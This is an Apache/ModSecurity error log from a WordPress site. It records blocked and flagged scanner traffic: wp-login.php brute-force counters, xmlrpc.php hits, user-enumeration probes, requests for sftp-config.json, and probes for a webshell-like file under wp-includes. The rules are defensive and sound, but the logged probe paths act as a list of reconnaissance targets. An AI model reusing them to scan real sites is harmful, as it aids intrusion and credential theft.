[Sun Mar 15 10:52:12.254413 2026] [autoindex:error] [pid 9995:tid 10000] [client 212.30.33.75:51437] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 15 12:03:22.737195 2026] [:error] [pid 38540:tid 38602] [client 192.109.200.69:63546] [client 192.109.200.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.109.200.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abYvil8bnHsJ1dE90bJGFAAAAFA"], referer: https://www.bing.com/
[Sun Mar 15 12:03:30.843501 2026] [:error] [pid 38540:tid 38590] [client 192.109.200.69:63546] [client 192.109.200.69] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abYvkl8bnHsJ1dE90bJGGwAAAEQ"], referer: https://wordpress.org/
[Sun Mar 15 12:03:31.169571 2026] [:error] [pid 38540:tid 38600] [client 192.109.200.69:63546] [client 192.109.200.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.109.200.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abYvk18bnHsJ1dE90bJGHAAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Sun Mar 15 12:03:37.138468 2026] [:error] [pid 38540:tid 38589] [client 192.109.200.69:63546] [client 192.109.200.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.109.200.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abYvmV8bnHsJ1dE90bJGJwAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Sun Mar 15 12:03:40.378654 2026] [:error] [pid 38540:tid 38591] [client 192.109.200.69:63546] [client 192.109.200.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.109.200.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abYvnF8bnHsJ1dE90bJGKQAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Sun Mar 15 12:03:43.603662 2026] [:error] [pid 38540:tid 38594] [client 192.109.200.69:63546] [client 192.109.200.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.109.200.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abYvn18bnHsJ1dE90bJGKwAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Sun Mar 15 13:44:39.439498 2026] [autoindex:error] [pid 50986:tid 51001] [client 70.153.16.135:56631] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 15 13:51:15.654767 2026] [:error] [pid 38645:tid 38653] [client 43.130.72.177:32856] [client 43.130.72.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abZI0xFPHtsDUuVrWDYs6AAAAMY"]
[Sun Mar 15 14:48:47.694205 2026] [:error] [pid 38645:tid 38663] [client 64.89.163.10:50761] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "abZWTxFPHtsDUuVrWDZCYwAAANA"]
[Sun Mar 15 14:48:48.193613 2026] [:error] [pid 9995:tid 10021] [client 64.89.163.10:50921] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "abZWUAa8xkcaSmgTbwhdCQAAARc"]
[Sun Mar 15 14:48:48.694319 2026] [:error] [pid 9995:tid 10011] [client 64.89.163.10:51184] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "abZWUAa8xkcaSmgTbwhdCgAAAQ0"]
[Sun Mar 15 14:48:51.499358 2026] [:error] [pid 45801:tid 45817] [client 64.89.163.10:52655] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "abZWU4aKHL9CTKoVzTD8GgAAAc4"]
[Sun Mar 15 15:39:51.375833 2026] [autoindex:error] [pid 50986:tid 50999] [client 207.180.194.94:59991] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 15 15:40:33.300425 2026] [:error] [pid 38645:tid 38650] [client 203.2.64.59:57748] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abZicRFPHtsDUuVrWDZY2AAAAMM"]
[Sun Mar 15 19:01:18.234912 2026] [:error] [pid 38645:tid 38655] [client 43.130.15.147:52420] [client 43.130.15.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abaRfhFPHtsDUuVrWDaPhwAAAMg"]
[Sun Mar 15 19:36:13.748130 2026] [:error] [pid 45974:tid 45984] [client 43.157.67.70:55686] [client 43.157.67.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abaZrRWn4R6u72SegejGfgAAAgg"]
[Sun Mar 15 20:05:07.960768 2026] [:error] [pid 9995:tid 10017] [client 49.151.171.80:45624] [client 49.151.171.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.151.171.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abagcwa8xkcaSmgTbwh9_AAAARM"]
[Sun Mar 15 20:43:06.896986 2026] [:error] [pid 50986:tid 50990] [client 49.151.171.80:44587] [client 49.151.171.80] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abapWiknK4c779bcQqHdCgAAAUI"]
[Sun Mar 15 20:44:35.465970 2026] [:error] [pid 38645:tid 38670] [client 49.151.171.80:45573] [client 49.151.171.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.151.171.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abapsxFPHtsDUuVrWDa7-QAAANc"]
[Sun Mar 15 21:32:04.507082 2026] [autoindex:error] [pid 38645:tid 38662] [client 68.183.93.46:59660] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 15 22:31:09.381454 2026] [:error] [pid 42570:tid 42590] [client 49.234.192.248:44830] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abbCrcIUXZJLmk_gYCMfBwAAAZE"]
[Sun Mar 15 23:54:14.580203 2026] [:error] [pid 45974:tid 45997] [client 43.153.7.191:34272] [client 43.153.7.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abbWJhWn4R6u72Segejr-QAAAhU"]
[Mon Mar 16 00:26:04.823984 2026] [:error] [pid 60947:tid 61020] [client 43.156.204.134:44040] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abbdnP8DVbvyAQDJWh1EUAAAANE"]
[Mon Mar 16 04:59:05.295345 2026] [:error] [pid 62427:tid 62453] [client 114.96.103.33:54402] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abcdmcUPP8fzo6XzJCULJwAAAAw"]
[Mon Mar 16 07:02:27.548553 2026] [:error] [pid 1411:tid 1426] [client 203.188.168.28:48651] [client 203.188.168.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abc6g9rCV4sh-le3M-12dwAAAU0"]
[Mon Mar 16 07:02:36.700585 2026] [:error] [pid 62429:tid 62519] [client 203.188.168.26:47245] [client 203.188.168.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abc6jFewIPukhLCowEHdMQAAAJc"]
[Mon Mar 16 07:02:36.700653 2026] [:error] [pid 62429:tid 62519] [client 203.188.168.26:47245] [client 203.188.168.26] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 203.188.168.26 on wp-login.php, counter = 29"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abc6jFewIPukhLCowEHdMQAAAJc"]
[Mon Mar 16 08:26:15.857873 2026] [:error] [pid 52152:tid 52166] [client 103.65.237.124:54137] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "abdOJ8A6rS_GLRd0NKWQiwAAAQs"]
[Mon Mar 16 11:05:14.370627 2026] [:error] [pid 62025:tid 62066] [client 173.239.236.129:34543] [client 173.239.236.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abdzauimBfLmKh7zLXMCNgAAAEc"]
[Mon Mar 16 11:05:14.753815 2026] [:error] [pid 9249:tid 9265] [client 173.239.236.116:28275] [client 173.239.236.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feed/"] [unique_id "abdzagsX15dONR9F2wy3sQAAAUs"]
[Mon Mar 16 11:14:00.447800 2026] [:error] [pid 62025:tid 62078] [client 60.188.57.0:54919] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abd1eOimBfLmKh7zLXMHWQAAAFM"]
[Mon Mar 16 11:52:11.504743 2026] [:error] [pid 9305:tid 9320] [client 43.157.172.39:41372] [client 43.157.172.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abd-a_RqyKiwGvzyRKyfpAAAAYo"]
[Mon Mar 16 14:30:49.984094 2026] [:error] [pid 62024:tid 62037] [client 110.138.80.208:64062] [client 110.138.80.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.138.80.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abejmYk-5rtjYvjqC_qXJwAAAAg"]
[Mon Mar 16 14:33:27.221284 2026] [:error] [pid 62025:tid 62060] [client 110.138.80.208:65381] [client 110.138.80.208] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abekN-imBfLmKh7zLXNj0AAAAEE"]
[Mon Mar 16 14:34:34.859795 2026] [:error] [pid 9305:tid 9331] [client 110.138.80.208:49662] [client 110.138.80.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.138.80.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abekevRqyKiwGvzyRKyyUAAAAZU"]
[Mon Mar 16 19:54:35.490760 2026] [:error] [pid 39154:tid 39177] [client 64.89.163.113:49363] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abfvexgq1_qjm7J1LqsigwAAAVQ"]
[Mon Mar 16 19:54:36.016150 2026] [:error] [pid 35929:tid 35943] [client 64.89.163.113:53200] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abfvfNW47dGpmA63hwSK1QAAAMw"]
[Mon Mar 16 19:54:36.571143 2026] [:error] [pid 35929:tid 35951] [client 64.89.163.113:50475] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abfvfNW47dGpmA63hwSK4wAAANQ"]
[Mon Mar 16 19:54:37.088525 2026] [:error] [pid 1871:tid 1895] [client 64.89.163.113:53412] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abfvfTinTnZ8uiUPekE7OwAAAZY"]
[Mon Mar 16 19:54:37.700894 2026] [:error] [pid 36198:tid 36222] [client 64.89.163.113:64352] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abfvfelL1GNckmsdWlM0OwAAARU"]
[Mon Mar 16 21:15:24.029673 2026] [:error] [pid 35929:tid 35942] [client 43.156.204.134:58538] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abgCbNW47dGpmA63hwSaQwAAAMs"]
[Mon Mar 16 21:42:23.489673 2026] [:error] [pid 36198:tid 36223] [client 173.239.224.100:28365] [client 173.239.224.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.100, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abgIv-lL1GNckmsdWlNQfgAAARY"]
[Mon Mar 16 21:42:27.579146 2026] [:error] [pid 1871:tid 1895] [client 173.239.224.92:25605] [client 173.239.224.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.92, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abgIwzinTnZ8uiUPekFmiwAAAZY"]
[Mon Mar 16 22:52:54.007724 2026] [:error] [pid 35840:tid 35904] [client 173.239.224.109:33599] [client 173.239.224.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.109, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abgZRkJFzfEsmtPx-M0klQAAAIc"]
[Mon Mar 16 23:33:46.854461 2026] [:error] [pid 35929:tid 35931] [client 149.34.210.140:62620] [client 149.34.210.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.34.210.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abgi2tW47dGpmA63hwTNRwAAAMA"]
[Mon Mar 16 23:37:17.806474 2026] [:error] [pid 36198:tid 36201] [client 149.34.210.140:64608] [client 149.34.210.140] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abgjrelL1GNckmsdWlN0RgAAAQA"]
[Mon Mar 16 23:38:19.408700 2026] [:error] [pid 39154:tid 39177] [client 149.34.210.140:65195] [client 149.34.210.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.34.210.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abgj6xgq1_qjm7J1LqtTcAAAAVQ"]
[Tue Mar 17 02:05:26.825914 2026] [:error] [pid 45404:tid 45528] [client 177.129.251.41:50630] [client 177.129.251.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.129.251.41, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abhGZmcrPifELUd8UWAP9QAAAAs"]
[Tue Mar 17 02:06:51.540881 2026] [:error] [pid 9635:tid 9644] [client 169.224.36.182:18056] [client 169.224.36.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.224.36.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abhGu3sAHChuwZxGaSjvkQAAAUc"]
